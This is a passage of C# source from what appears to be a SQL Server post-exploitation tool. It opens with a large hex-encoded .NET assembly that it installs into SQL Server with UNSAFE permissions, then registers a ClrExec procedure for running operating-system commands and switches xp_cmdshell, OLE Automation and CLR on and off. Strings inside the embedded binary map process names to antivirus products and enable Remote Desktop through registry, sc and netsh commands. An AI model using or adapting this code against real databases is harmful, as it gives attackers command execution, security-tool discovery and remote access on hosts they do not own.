070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F7000720069007A0065007300750072006600650072003A005000720069007A0065007300750072006600650072000019700072006D0074003A004F007000690053007400610074000019700072006D00760072003A004100640074006F006D0069000037700072006F0063006500730073006D006F006E00690074006F0072003A0053007900730069006E007400650072006E0061006C007300002B700072006F0070006F00720074003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0123700072006F00740065006300740078003A00500072006F0074006500630074005800002570007300700066003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0127700075007200670065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0159710063006F006E0073006F006C0065003A004E006F00720074006F006E00200041006E0074006900560069007200750073002000510075006100720061006E00740069006E006500200043006F006E0073006F006C006500004171007300650072007600650072003A004E006F00720074006F006E00200049006E007400650072006E0065007400200053006500630075007200690074007900001F7200610070006100700070003A0042006C00610063006B00490043004500002372006200330032003A005200610070006900640042006C0061007300740065007200002572006300730079006E0063003A005000720069007A00650053007500720066006500720000217200650061006C006D006F006E003A005200650061006C006D006F006E00200000297200650073006300750065003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0129720065007300630075006500330032003A006153F45DAF65FA57924E5480517F895B68515759C588012972007300680065006C006C003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0143720074007600730063006E00390035003A005200650061006C002D00740069006D00650020007600690072007500730020007300630061006E006E00650072002000013D720075006C00610075006E00630068003A004D006300410066006500650020005500730065007200200049006E0074006500720066006100630065000027720075006E003300320064006C006C003A00500041004C002000500043002000530070007900003173006100660065007700650062003A005000530061006600650020005400650063006E006F006C006F00670069006100002F7300620073006500720076003A004E006F00720074006F006E00200041006E007400690076006900720075007300001B7300630072007300630061006E003A003300360030004067D26B012F7300660063003A00530079007300740065006D002000660069006C006500200063006800650063006B0065007200002F730068003A004D004B005300200054006F006F006C006B0069007400200066006F0072002000570069006E0033000059730068006F00770062006500680069006E0064003A004D006900630072006F0053006D006100720074007300200045006E0074006500720070007200690073006500200043006F006D0070006F006E0065006E0074002000002973006F00610070003A00530079007300740065006D00200053006F00610070002000500072006F00002573006F00660069003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012773007000650072006D003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F73007500700070006F00720074006500720035003A006500530063006F0072006300680065007200CD53C575D26B0129730079006D00700072006F00780079007300760063003A00530079006D0061006E007400650063000021730079006D0074007200610079003A00530079006D0061006E007400650063000025740062007300630061006E003A005400680075006E006400650072004200590054004500001D740063003A00540069006D006500430061006C0065006E0064006500002374006900740061006E0069006E003A0054006900740061006E0048006900640065000027740076006D0064003A0054006F00740061006C002000560065006C006F006300690074007900002B7400760074006D0064003A00200054006F00740061006C002000560065006C006F006300690074007900001D76006500740074007200610079003A00650054007200750073007400002D7600690072002D00680065006C0070003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D76006E007000630033003000300030003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011D760070006300330032003A00530079006D0061006E00740065006300001D760070006300340032003A00530079006D0061006E00740065006300001F760073006800770069006E00330032003A004D0063004100660065006500001B760073006D00610069006E003A004D0063004100660065006500001B7600730073007400610074003A004D0063004100660065006500002D7700660069006E0064007600330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01217A006100700072006F003A005A006F006E006500200041006C00610072006D0000297A006F006E00650061006C00610072006D003A005A006F006E006500200041006C00610072006D00001D4100560050004D003A004B006100730070006500720073006B00790000374100320043004D0044003A0045006D007300690073006F0066007400200041006E00740069002D004D0061006C00770061007200650001314100320053004500520056004900430045003A0061002D00730071007500610072006500640020006600720065006500012B4100320046005200450045003A0061002D00730071007500610072006500640020004600720065006500012F410044005600430048004B003A004E006F00720074006F006E00200041006E00740069005600690072007500730000114100470042003A00895B29593296BF7E012941004800500052004F0043004D004F004E005300450052005600450052003A00895B29593296BF7E012B41004900520044004500460045004E00530045003A0041006900720044006500660065006E0073006500003341004C004500520054005300560043003A004E006F00720074006F006E00200041006E0074006900560069007200750073000017410056004900520041003A000F5CA27E1E4F4067D26B013741004D004F004E003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C00000F410056005A003A00410056005A00002B41004E00540049005600490052003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011B41005000560058004400570049004E003A008A712B736B53EB58011D4100530048004D0041004900530056003A0041006C00770069006C00003141005300480053004500520056003A0041007600610073007400200041006E00740069002D00760069007200750073000137410053004800530049004D0050004C003A004100560041005300540021005600690072007500730043006C00650061006E0065007200001D410053004800570045004200530056003A0041007600610073007400001D410053005700550050004400530056003A0041007600610073007400001B4100530057005300430041004E003A0041007600610073007400001941005600430049004D0041004E003A008A712B736B53EB58011F4100560043004F004E0053004F004C003A004D0063004100660065006500001B4100560045004E00470049004E0045003A008A712B736B53EB58014B4100560045005300560043003A0041007600690072006100200041006E007400690056006900720020005300650063007500720069007400790020005300650072007600690063006500002B41005600450056004C00330032003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F011341005600470041004D003A004100560047000013410056004700430043003A004100560047000019410056004700430048005300560058003A004100560047000019410056004700430053005200560058003A0041005600470000154100560047004E00530058003A00410056004700001741005600470043004300330032003A0041005600470000174100560047004300540052004C003A00410056004700001541005600470045004D0043003A004100560047000019410056004700460057005300520056003A0041005600470000194100560047004E0054004D00470052003A00410056004700001741005600470053004500520056003A00410056004700001741005600470054005200410059003A004100560047000019410056004700550050005300560043003A0041005600470000514100560049004E00490054004E0054003A0043006F006D006D0061006E006400200041006E007400690056006900720075007300200066006F00720020004E0054002000530065007200760065007200001F410056005000430043003A004B006100730070006500720073006B0079000033410056005300450052005600450052003A004B006500720069006F0020004D00610069006C0053006500720076006500720000214100560053004300480045004400330032003A0048002B004200450044005600001F41005600530059004E004D00470052003A004D0063004100660065006500001F410056005700550050005300520056003A0048002B0042004500440056000037420044005300570049005400430048003A0042006900740044006500660065006E0064006500720020004D006F00640075006C006500001F42004C00410043004B0044003A0042006C00610063006B004900430045000023430043004500560054004D00470052003A00530079006D0061006E0074006500630000154300460050003A0043004F004D004F0044004F00003143004C0041004D00570049004E003A0043006C0061006D00570069006E00200050006F0072007400610062006C00650000274300550052004500490054003A004400720057006500620020004300750072006500490054000033440045004600570041005400430048003A004E006F00720074006F006E00200041006E007400690076006900720075007300001F4400520057004100440049004E0053003A00440072002E005700650062000019440052005700450042003A00440072002E00570065006200003B44004500460045004E004400450052004400410045004D004F004E003A0053006800610064006F00770044006500660065006E00640065007200003D45005700490044004F004300540052004C003A0045007700690064006F00200053006500630075007200690074007900200053007500690074006500005D45005A0041004E00540049005600490052005500530052004500470049005300540052004100540049004F004E0043004800450043004B003A0065002D0054007200750073007400200041006E00740069007600690072007500730001334600490052004500570041004C004C003A0041007300680061006D0070006F006F0053006F0066007400770061007200650000354600500052004F00540054005200410059003A0046002D00500052004F005400200041006E007400690076006900720075007300011B46005000570049004E003A0056006500720069007A006F006E0000214600520045005300480043004C0041004D003A0043006C0061006D0041005600001F4600530041005600330032003A0046002D00530065006300750072006500012146005300420057005300590053003A0046002D00730065006300750072006500011F4600530044004600570044003A0046002D00530065006300750072006500011F4600530047004B00330032003A0046002D0053006500630075007200650001234600530047004B0033003200530054003A0046002D00530065006300750072006500011F460053004D004100330032003A0046002D00530065006300750072006500011F460053004D004200330032003A0046002D00530065006300750072006500011F4600530053004D00330032003A0046002D00530065006300750072006500011B470055004100520044004700550049003A00517F386EDD4F5695011D470055004100520044004E0054003A0049004B004100520055005300001F490041004D004100500050003A00530079006D0061006E00740065006300001B49004E004F004300490054003A00650054007200750073007400001B49004E004F005200500043003A00650054007200750073007400001949004E004F00520054003A00650054007200750073007400001D49004E004F005400410053004B003A00650054007200750073007400001F49004E004F005500500054004E0047003A006500540072007500730074000019490053004100460045003A00650054007200750073007400001B4B00410056003A004B006100730070006500720073006B007900001F4B00410056004D004D003A004B006100730070006500720073006B007900001F4B0041005600500046003A004B006100730070006500720073006B00790000214B00410056005000460057003A004B006100730070006500720073006B00790000254B0041005600530054004100520054003A004B006100730070006500720073006B00790000214B00410056005300560043003A004B006100730070006500720073006B00790000254B0041005600530056004300550049003A004B006100730070006500720073006B007900001B4B004D00410049004C004D004F004E003A00D191715CD26B3897011D4D0043004100470045004E0054003A004D0063004100660065006500001F4D0043004D004E00480044004C0052003A004D0063004100660065006500001F4D004300520045004700570049005A003A004D0063004100660065006500001F4D0043005500500044004100540045003A004D0063004100660065006500001F4D00430056005300530048004C0044003A004D006300410066006500650000254D0049004E0049004C004F0047003A005A006F006E006500200041006C00610072006D00001F4D0059004100470054005300560043003A004D0063004100660065006500001F4D0059004100470054005400520059003A004D0063004100660065006500001F4E0041005600410050005300560043003A004E006F00720074006F006E00001F4E0041005600410050005700330032003A004E006F00720074006F006E00001D4E00410056004C005500330032003A004E006F00720074006F006E00002F4E00410056005700330032003A004E006F00720074006F006E00200041006E00740069007600690072007500730000294E0045004F00570041005400430048004C004F0047003A004E0065006F0057006100740063006800002B4E0045004F005700410054004300480054005200410059003A004E0065006F0057006100740063006800001D4E004900530053004500520056003A004E006F00720074006F006E0000194E004900530055004D003A004E006F00720074006F006E0000194E004D00410049004E003A004E006F00720074006F006E0000214E004F004400330032003A00450053004500540020004E004F0044003300320000254E00500046004D00530047003A004E006F0072006D0061006E002A4EBA4E32966B70995801234E00500052004F0054004500430054003A00530079006D0061006E00740065006300001B4E0053004D004400540052003A004E006F00720074006F006E00001B4E005400520054005300430041004E003A008B8DBF52D1798062012D4F00460043005000460057005300560043003A004F00660066006900630065005300630061006E004E005400002D4F004E004C0049004E0045004E0054003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012F4F0050005F004D004F004E003A0020004F007500740070006F00730074004600690072006500770061006C006C00001B500041005600460049005200450053003A008A712B736B53EB58011B50004100560046004E005300560052003A008A712B736B53EB5801175000410056004B00520045003A008A712B736B53EB580119500041005600500052004F0054003A008A712B736B53EB58011B500041005600500052004F00580059003A008A712B736B53EB58011B500041005600500052005300520056003A008A712B736B53EB58011B500041005600530052005600350031003A008A712B736B53EB580115500041005600530053003A008A712B736B53EB580125500043004300470055004900440045003A00500043002D00630069006C006C0069006E00012550004300430049004F004D004F004E003A00500043002D00630069006C006C0069006E0001255000430043004E0054004D004F004E003A00500043002D00630069006C006C0069006E0001175000430043005000460057003A008B8DBF52D1798062011B50004300430054004C0043004F004D003A008B8DBF52D17980620131500043005400410056003A0050004300200054006F006F006C007300200041006E007400690056006900720075007300003B5000450052005300460057003A00540069006E007900200050006500720073006F006E0061006C0020004600690072006500770061006C006C0000295000450052005600410043003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F0123500045005300540050004100540052004F004C003A0049006B006100720075007300001950005200450056005300520056003A008A712B736B53EB580141520054005600530043004E00390035003A005200650061006C002D00740069006D00650020005600690072007500730020005300630061006E006E00650072000127530041005600410044004D0049004E0053004500520056004900430045003A0053004100560000175300410056004D00410049004E003A0053004100560000175300410056005300430041004E003A00530041005600002B53004400480045004C0050003A005300700079007700610072006500200044006F00630074006F007200001B5300480053005400410054003A004D00630041006600650065000023530050004200420043005300560043003A00530079006D0061006E007400650063000021530050004900440045005200430050004C003A00440072002E00570065006200001F5300500049004400450052004D004C003A00440072002E00570065006200001F530050004900440045005200550049003A00440072002E00570065006200002153005000590042004F005400530044003A0053007000790062006F00740020000023530057004100470045004E0054003A0053006F006E0069006300570041004C004C0000255300570044004F00430054004F0052003A0053006F006E0069006300570041004C004C00001F530057004E00450054005300550050003A0053006F00700068006F0073000023530059004D004C0043005300560043003A00530079006D0061006E007400650063000029530059004D00500052004F00580059005300560043003A00530079006D0061006E007400650063000025530059004D00530050004F00520054003A005300790073006D0061006E007400650063000021530059004D005700530043003A005300790073006D0061006E007400650063000021530059004E004D00470052003A005300790073006D0061006E00740065006300001B54004D004C0049005300540045004E003A008B8DBF52D1798062011954004D004E0054005300520056003A008B8DBF52D1798062011954004D00500052004F00580059003A008B8DBF52D1798062012554004E0042005500540049004C003A0041006E00740069002D0056006900720075007300012D56004200410033003200450043004D003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032004900460053003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F012D560042004100330032005000500033003A00F25DE57740676F8FDB8F0B7A2C000D54F07982662A673665555F01255600430052004D004F004E003A0056006900720075007300430068006100730065007200001B560052004D004F004E004E0054003A0048004100550052004900001D560052004D004F004E005300560043003A0048004100550052004900001F560053004800570049004E00330032003A004D0063004100660065006500001B5600530053005400410054003A004D00630041006600650065000029580043004F004D004D005300560052003A0042006900740044006500660065006E0064006500720000295A004F004E00450041004C00410052004D003A005A006F006E006500200041006C00610072006D000017330036003000720070003A003300360030004067D26B013361006600770053006500720076003A00200041007600610073007400200041006E00740069007600690072007500730020000023730061006600650062006F00780054007200610079003A003300360030004067D26B0121330036003000730061006600650062006F0078003A003300360030004067D26B011F510051005000430054007200610079003A005100510035751181A17BB65B011D4B00530061006600650054007200610079003A00D191715CD26B3897011B4B0053006100660065005300760063003A00D191715CD26B389701174B00570061007400630068003A00D191715CD26B3897012D67006F0076005F0064006500660065006E00630065005F0073006500720076006900630065003A00914E0195012B67006F0076005F0064006500660065006E00630065005F006400610065006D006F006E003A00914E0195013973006D00610072007400730063007200650065006E003A00570069006E0064006F0077007300200044006500660065006E0064006500720000256D00610063006F006D007000610074007300760063003A004D006300410066006500650000296D00630061006D006E007300760063002E0065007800650020003A004D006300410066006500650000196D0061007300760063003A004D0063004100660065006500001B6D00660065006D006D0073003A004D0063004100660065006500001B6D00630074006100720079003A004D0063004100660065006500001F6D00630073006800690065006C0064003A004D006300410066006500650000196D0066006500770063003A004D0063004100660065006500001B6D00660065007700630068003A004D006300410066006500650000196D0066006500660077003A004D0063004100660065006500001D6D006600650066006900720065003A004D006300410066006500650000196D0066006500740070003A004D006300410066006500650000216D0066006500630061006E006100720079003A004D006300410066006500650000236D006600650063006F006E0073006F006C0065003A004D0063004100660065006500001B6D00660065006500730070003A004D0063004100660065006500001766006300610067003A004D00630041006600650065000019660063006100670073003A004D0063004100660065006500001D66006300610067007300770064003A004D0063004100660065006500001D66006300610067006100740065003A004D0063004100660065006500003133003600300045006E00740043006C00690065006E0074003A002959CE6445004400520020004100670065006E00740001336500640072005F007300650063005F0070006C0061006E003A00F16DE14F0D6745004400520020004100670065006E00740001316500640072005F006D006F006E00690074006F0072003A00F16DE14F0D6745004400520020004100670065006E007400012D6500640072005F006100670065006E0074003A00F16DE14F0D6745004400520020004100670065006E0074000137450053004300430043006F006E00740072006F006C003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300430043003A002F540E661F66B08F2959E37345004400520020004100670065006E007400012945005300410056003A002F540E661F66B08F2959E37345004400520020004100670065006E0074000133450053004300430049006E006400650078003A002F540E661F66B08F2959E37345004400520020004100670065006E007400011F41006C006900590075006E00440075006E003A003F96CC91914E914EFE7601257700640073007700660073006100660065003A003300360030004067D26B2D00517FFE760161530059005300540045004D005C00430075007200720065006E00740043006F006E00740072006F006C005300650074005C0043006F006E00740072006F006C005C005400650072006D0069006E0061006C00200053006500720076006500720000256600440065006E0079005400530043006F006E006E0065006300740069006F006E007300008089530059005300540045004D005C00430075007200720065006E00740043006F006E00740072006F006C005300650074005C0043006F006E00740072006F006C005C005400650072006D0069006E0061006C0020005300650072007600650072005C00570069006E00530074006100740069006F006E0073005C005200440050002D00540063007000011550006F00720074004E0075006D006200650072000003300000355B002A005D002000520044005000200069007300200061006C0072006500610064007900200065006E00610062006C006500640000235B002B005D002000520044005000200050006F00720074003A0020007B0030007D0000495B002A005D0020005200440050002000690073002000640069007300610062006C00650064002C00200065006E00610062006C0069006E00670020006900740020002E002E002E00003743003A005C00570069006E0064006F00770073005C00530079007300740065006D00330032005C0063006D0064002E00650078006500004373006300200063006F006E0066006900670020007400650072006D0073006500720076006900630065002000730074006100720074003D0020006100750074006F00005F6E00650074007300680020006600690072006500770061006C006C002000730065007400200073006500720076006900630065002000720065006D006F00740065006400650073006B0074006F007000200065006E00610062006C006500000965007800690074000058A8FF30BBE48B4284A441B54F7E46BF0008B77A5C561934E089090004080E08101110080A0005080E0E0810110C08072004010E0E0E0E062003010E0E0E0320000102060E020608050002010E0E050002020E0E0B000702180912110918181803000002040001010E060003180902090800051818180909090900050218181C09100907000318112C0209060003181818180400010918040001021811000A02180E18180209181810114010113805000111380E0800021D051D051D050306112804FF0F1F000401000000040200000004080000000410000000042000000004400000000480000000040001000004000200000400040000040010000004000010000306112C041A00000004FB030000030611300400200000040000080004000000010400000008030611340404000000040000004002061802060902060703000001070000151215010E05200101111D0115012805200101112D0420010108042001010E0400001241050702111002050702110C0205200101114905070212080E050001124D0E0420001255042000125D062002010E1165072003081D050808072003011D0508080320000E0500020E0E0E10070812511259125D125D1D0508127102040000127505200101127505200102117D06070212751279040001020E0500020E0E1C0500011D050E09200301125D118089020B07041D05126112808512710700011D1280950E0600011280950803200008032000180700040E0E1C1C1C0600030E0E1C1C0C2004010E11651180A11180A50520001280A90400010E0E04061280B50620011280B50E0420011C0E1A070E0818091280951D12809512711271020E0E12610E0E1280B5042001020E0620011D0E1D031D07131D0E0E0E1D0E0E0E1D0E0E0E1D0E0E0E0E0E0E1D031D031D031D03040001180807070309114011380507021D05080500001280CD0520011D050E0F07091D051D0509113818181802127110070A0E1D051D050911381818180212710D07081D0509113818181802127107151280D1020E0E05151215010E092000151180D501130006151180D5010E04200013000900031D0E0E0E1180DD0720020113001301032000020600001D12809508200202130010130122070C151280D1020E0E0E1D0E0E0E0E081D128095128095151180D5010E1D128095080A200101151280E5011300090702151215010E1D0E082003010E1C1180ED0520001280F104200101020520001280F51307071280B51280B50E1280B50E1280B51280950801000200000000000801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301000000000000737CB46000000000020000001C01000034C9000034AB00005253445383092CB680715747A93D2B9C5663A46101000000643A5C6D79636F64655C536861727053514C546F6F6C735C434C522D6D6F64756C655C6F626A5C52656C656173655C434C525F6D6F64756C652E7064620000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078CA000000000000000000008ECA000000200000000000000000000000000000000000000000000080CA00000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100100000001800008000000000000000000000000000000100010000003000008000000000000000000000000000000100000000004800000058E00000540200000000000000000000540234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004B4010000010053007400720069006E006700460069006C00650049006E0066006F0000009001000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E003000000040000F00010049006E007400650072006E0061006C004E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000048000F0001004F0072006900670069006E0061006C00460069006C0065006E0061006D006500000043004C0052005F006D006F00640075006C0065002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E00300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000C000000C000000A03A00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    WITH PERMISSION_SET = UNSAFE;");
            Batch.CLRExec(Conn, Command);
        }

        /// <summary>
        /// CREATE PROCEDURE
        /// </summary>
        /// <returns></returns>
        public void CREATE_PROCEDURE()
        {
            Command = String.Format(@"CREATE PROCEDURE [dbo].[ClrExec]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [CLR_module].[StoredProcedures].[ClrExec]");
            Batch.CLRExec(Conn, Command);
        }

        /// <summary>
        /// drop_clr
        /// </summary>
        /// <returns></returns>
        public void drop_clr()
        {
            Command = String.Format(@"drop PROCEDURE dbo.ClrExec
drop assembly CLR_module");
            Batch.CLRExec(Conn, Command);
        }


        /// <summary>
        /// 检查 configuration 的配置
        /// </summary>
        /// <param name="option">查询内容选项</param>
        /// <param name="value">返回值匹配</param>
        /// <returns></returns>
        public bool Check_configuration(String option, int value)
        {
            Command = String.Format("SELECT cast(value as INT) as v FROM sys.configurations where name = '{0}';", option);
            if (int.Parse(Batch.RemoteExec(Conn, Command, false)) == value)
                return true;
            return false;
        }

        #region 启用/关闭 OLE Automation Procedures 配置
        /// <summary>
        /// 开启 OLA
        /// </summary>
        /// <returns>true/false</returns>
        public bool Enable_ola()
        {
            if (!Set_configuration("show advanced options", 1))
            {
                Console.WriteLine("[!] cannot enable 'show advanced options'");
                return false;
            }
            if (!Set_configuration("Ole Automation Procedures", 1))
            {
                Console.WriteLine("[!] cannot enable 'Ole Automation Procedures'");
                return false;
            }
            return true;
        }

        /// <summary>
        /// 关闭 OLA
        /// </summary>
        /// <returns>true/false</returns>
        public bool Disable_ole()
        {
            if (!Set_configuration("show advanced options", 1))
            {
                Console.WriteLine("[!] cannot enable 'show advanced options'");
                return false;
            }
            if (!Set_configuration("Ole Automation Procedures", 0))
            {
                Console.WriteLine("[!] cannot disable 'Ole Automation Procedures'");
                return false;
            }
            if (!Set_configuration("show advanced options", 0))
            {
                Console.WriteLine("[!] cannot disable 'show advanced options'");
                return false;
            }
            return true;
        }

        #endregion


        #region 启用/关闭 xp_cmdshell
        /// <summary>
        /// 开启 xp_cmdshell
        /// </summary>
        /// <returns>true/false</returns>
        public bool Enable_xp_cmdshell()
        {
            if (!Set_configuration("show advanced options", 1))
            {
                Console.WriteLine("[!] cannot enable 'show advanced options'");
                return false;
            }
            if (!Set_configuration("xp_cmdshell", 1))
            {
                Console.WriteLine("[!] cannot enable 'xp_cmdshell'");
                return false;
            }
            return true;
        }

        /// <summary>
        /// 关闭 xp_cmdshell
        /// </summary>
        /// <returns>true/false</returns>
        public bool Disable_xp_cmdshell()
        {
            if (!Set_configuration("show advanced options", 1))
            {
                Console.WriteLine("[!] cannot enable 'show advanced options'");
                return false;
            }
            if (!Set_configuration("xp_cmdshell", 0))
            {
                Console.WriteLine("[!] cannot disable 'xp_cmdshell'");
                return false;
            }
            if (!Set_configuration("show advanced options", 0))
            {
                Console.WriteLine("[!] cannot disable 'show advanced options'");
                return false;
            }
            return true;
        }

        #endregion

        #region 启用/关闭 clr
        /// <summary>
        /// 开启 clr enabled
        /// </summary>
        /// <returns>true/false</returns>
        public bool Enable_clr()
        {
            if (!Set_configuration("show advanced options", 1))
            {
                Console.WriteLine("[!] cannot enable 'show advanced options'");
                return false;
            }
            if (!Set_configuration("clr enabled", 1))
            {
                Console.WriteLine("[!] cannot enable 'clr enabled'");
                return false;
            }
            return true;
        }

        /// <summary>
        /// 关闭 clr enabled
        /// </summary>
        /// <returns>true/false</returns>
        public bool Disable_clr()
        {
            if (!Set_configuration("show advanced options", 1))
            {
                Console.WriteLine("[!] cannot enable 'show advanced options'");
                return false;
            }
            if (!Set_configuration("clr enabled", 0))
            {
                Console.WriteLine("[!] cannot disable 'clr enabled'");
                return false;
            }
            if (!Set_configuration("show advanced options", 0))
            {
                Console.WriteLine("[!] cannot disable 'show advanced options'");
                return false;
            }
            return true;
        }

        #endregion

    }
}